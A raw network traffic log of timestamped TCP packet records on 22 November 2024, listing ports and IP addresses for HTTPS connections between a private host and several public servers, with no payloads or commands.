Nov 22, 2024 22:59:44.948719025 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.948739052 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.948776960 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.948787928 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.948816061 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.951886892 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.951952934 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:44.951962948 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.957595110 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.957660913 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.957669020 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.957717896 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.959685087 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.959745884 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:44.959754944 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.962258101 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.962290049 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.962310076 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.967480898 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.967654943 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:44.967664957 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.971210003 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.971296072 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.971304893 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.971393108 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.975302935 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.975419044 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:44.975428104 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.980021954 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.980115891 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.984519958 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.984601021 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.990798950 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.990828991 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.990859985 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:44.990869999 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.991010904 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:44.993340015 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.993407011 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.997867107 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.002202988 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:45.002276897 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:45.004818916 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.004854918 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.004880905 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.004898071 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.004946947 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.006699085 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:45.006755114 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:45.011795998 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.015580893 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:45.015661001 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:45.018879890 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.018980026 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.018987894 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.022332907 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:45.022427082 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:45.073267937 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.073280096 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.116034985 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:45.116179943 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:45.121279001 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.122066975 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:45.122169971 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:45.125564098 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:45.125643015 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:45.128894091 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:45.128957033 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:45.128969908 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:45.129050970 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:45.129050970 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:45.129071951 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:45.149122000 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.151510954 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.151572943 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.151585102 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.157799006 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.157859087 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.157867908 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.162427902 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.162527084 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.162533045 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.171674967 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.171772003 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.171780109 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.171822071 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.176382065 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.176395893 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.176449060 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.180980921 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.181030035 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.190130949 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.190138102 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.190210104 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.194894075 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.194900990 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.194948912 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.204073906 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.204082012 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.204236031 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.208690882 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.208744049 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.208750010 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.208781004 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.208817005 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.208915949 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.208934069 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.211395025 CET	49735	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:45.211441994 CET	443	49735	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:45.211512089 CET	49735	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:45.211720943 CET	49735	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:45.211730957 CET	443	49735	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:45.351109982 CET	443	49733	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:45.351515055 CET	49733	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:45.351541996 CET	443	49733	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:45.352668047 CET	443	49733	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:45.353207111 CET	49733	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:45.353383064 CET	49733	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:45.353387117 CET	443	49733	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:45.393292904 CET	49733	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:45.393326998 CET	443	49733	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:45.415270090 CET	49736	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.415306091 CET	443	49736	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.415699005 CET	49736	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.415956974 CET	49736	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:45.415975094 CET	443	49736	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:45.823771954 CET	443	49733	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:45.824037075 CET	443	49733	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:45.824104071 CET	49733	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:45.824126005 CET	443	49733	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:45.824215889 CET	443	49733	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:45.824299097 CET	49733	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:45.824316978 CET	443	49733	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:45.831644058 CET	443	49733	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:45.831707001 CET	49733	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:45.831717014 CET	443	49733	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:45.839961052 CET	443	49733	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:45.840019941 CET	49733	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:45.840029001 CET	443	49733	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:45.840173960 CET	443	49733	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:45.840236902 CET	49733	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:45.840302944 CET	49733	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:45.840317011 CET	443	49733	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:46.421775103 CET	443	49735	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:46.422277927 CET	49735	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:46.422311068 CET	443	49735	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:46.422791958 CET	443	49735	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:46.423182964 CET	49735	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:46.423228979 CET	49735	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:46.423234940 CET	443	49735	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:46.423266888 CET	443	49735	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:46.476286888 CET	49735	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:46.725666046 CET	443	49736	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:46.725944042 CET	49736	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:46.726003885 CET	443	49736	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:46.727153063 CET	443	49736	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:46.727766037 CET	49736	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:46.727866888 CET	443	49736	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:46.727907896 CET	49736	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:46.775338888 CET	443	49736	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:46.780308962 CET	49736	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:46.871681929 CET	443	49735	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:46.871767998 CET	443	49735	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:46.871864080 CET	49735	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:46.872430086 CET	49735	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:46.872447014 CET	443	49735	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:46.937325954 CET	49680	80	192.168.2.16	192.229.211.108
Nov 22, 2024 22:59:47.188895941 CET	443	49736	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:47.189119101 CET	443	49736	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:47.189176083 CET	49736	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:47.189745903 CET	49736	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:47.189765930 CET	443	49736	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:47.192764997 CET	49737	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:47.192811966 CET	443	49737	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:47.192883968 CET	49737	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:47.193203926 CET	49737	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:47.193218946 CET	443	49737	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:47.194075108 CET	49738	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:47.194195032 CET	443	49738	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:47.194314003 CET	49738	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:47.194508076 CET	49738	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:47.194541931 CET	443	49738	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:47.271306038 CET	49678	443	192.168.2.16	20.189.173.10
Nov 22, 2024 22:59:48.573194027 CET	443	49738	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:48.573640108 CET	49738	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:48.573728085 CET	443	49738	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:48.574980974 CET	443	49738	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:48.575423956 CET	49738	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:48.575587034 CET	49738	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:48.575742960 CET	443	49738	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:48.613342047 CET	443	49737	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:48.613703012 CET	49737	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:48.613738060 CET	443	49737	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:48.614196062 CET	443	49737	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:48.614586115 CET	49737	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:48.614670038 CET	443	49737	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:48.614742041 CET	49737	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:48.625343084 CET	49738	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:48.659338951 CET	443	49737	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:48.721364021 CET	49673	443	192.168.2.16	204.79.197.203
Nov 22, 2024 22:59:49.017657042 CET	443	49738	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:49.017841101 CET	443	49738	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:49.018018007 CET	49738	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:49.018760920 CET	49738	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:49.018805981 CET	443	49738	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:49.073586941 CET	443	49737	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:49.073713064 CET	443	49737	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:49.073792934 CET	443	49737	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:49.073930025 CET	49737	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:49.073930979 CET	49737	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:49.074457884 CET	49737	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:49.074482918 CET	443	49737	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:49.198960066 CET	49739	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:49.199011087 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:49.199139118 CET	49739	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:49.199441910 CET	49739	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:49.199457884 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:50.503293991 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:50.503724098 CET	49739	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:50.503756046 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:50.504076004 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:50.504503012 CET	49739	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:50.504570007 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:50.504690886 CET	49739	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:50.504796982 CET	49739	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:50.504829884 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:50.504916906 CET	49739	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:50.504933119 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.171577930 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.171638966 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.171679974 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.171720028 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.171752930 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.171783924 CET	49739	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:51.171821117 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.171845913 CET	49739	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:51.171870947 CET	49739	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:51.179666042 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.187999964 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.188160896 CET	49739	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:51.188167095 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.188182116 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.188441992 CET	49739	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:51.196366072 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.243365049 CET	49739	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:51.291193962 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.339330912 CET	49739	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:51.339348078 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.385797024 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.385868073 CET	49739	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:51.385875940 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.385889053 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.385958910 CET	49739	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:51.393716097 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.393857956 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.393929958 CET	49739	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:51.394299984 CET	49739	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:51.394320011 CET	443	49739	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:51.398375988 CET	49740	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:51.398422956 CET	443	49740	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:51.398514032 CET	49740	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:51.398793936 CET	49740	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:51.398809910 CET	443	49740	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:51.752404928 CET	49680	80	192.168.2.16	192.229.211.108
Nov 22, 2024 22:59:52.654109001 CET	443	49740	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:52.654397964 CET	49740	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:52.654417992 CET	443	49740	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:52.654748917 CET	443	49740	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:52.655038118 CET	49740	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:52.655136108 CET	443	49740	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:52.655164003 CET	49740	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:52.695379019 CET	49740	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:52.695391893 CET	443	49740	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:53.111160994 CET	443	49740	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:53.111246109 CET	443	49740	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:53.111340046 CET	49740	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:53.111881971 CET	49740	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:53.111911058 CET	443	49740	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:55.730845928 CET	49741	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:55.730882883 CET	443	49741	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:55.730988979 CET	49741	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:55.731261969 CET	49741	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:55.731275082 CET	443	49741	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:56.885338068 CET	49678	443	192.168.2.16	20.189.173.10
Nov 22, 2024 22:59:56.941493988 CET	443	49741	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:56.941795111 CET	49741	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:56.941833019 CET	443	49741	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:56.942174911 CET	443	49741	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:56.942473888 CET	49741	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:56.942537069 CET	443	49741	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:56.942629099 CET	49741	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:56.942681074 CET	49741	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:56.942706108 CET	443	49741	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:56.942784071 CET	49741	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:56.942816973 CET	443	49741	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:57.597160101 CET	443	49741	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:57.597276926 CET	443	49741	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:57.597341061 CET	443	49741	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:57.597418070 CET	443	49741	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:57.597467899 CET	49741	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:57.597467899 CET	49741	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:57.597744942 CET	49741	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:57.597764015 CET	443	49741	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:57.599920988 CET	49742	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:57.599988937 CET	443	49742	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:57.600097895 CET	49742	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:57.600410938 CET	49742	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:57.600429058 CET	443	49742	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:57.618000031 CET	49743	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:57.618046999 CET	443	49743	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:57.618139982 CET	49743	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:57.618832111 CET	49743	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:57.618849993 CET	443	49743	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:58.901380062 CET	443	49742	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:58.901688099 CET	49742	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:58.901706934 CET	443	49742	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:58.902045965 CET	443	49742	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:58.902431011 CET	49742	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:58.902491093 CET	443	49742	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:58.902590036 CET	49742	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:58.927253008 CET	443	49743	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:58.927571058 CET	49743	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:58.927581072 CET	443	49743	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:58.929138899 CET	443	49743	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:58.929337025 CET	49743	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:58.929725885 CET	49743	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:58.929758072 CET	49743	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:58.929836035 CET	49743	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:58.929861069 CET	443	49743	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:58.929928064 CET	49743	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:58.930401087 CET	49744	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:58.930500984 CET	443	49744	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:58.930599928 CET	49744	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:58.930849075 CET	49744	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:58.930882931 CET	443	49744	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:58.943336010 CET	443	49742	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:59.369021893 CET	443	49742	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:59.369110107 CET	443	49742	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:59.369163990 CET	49742	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:59.369762897 CET	49742	443	192.168.2.16	104.18.94.41
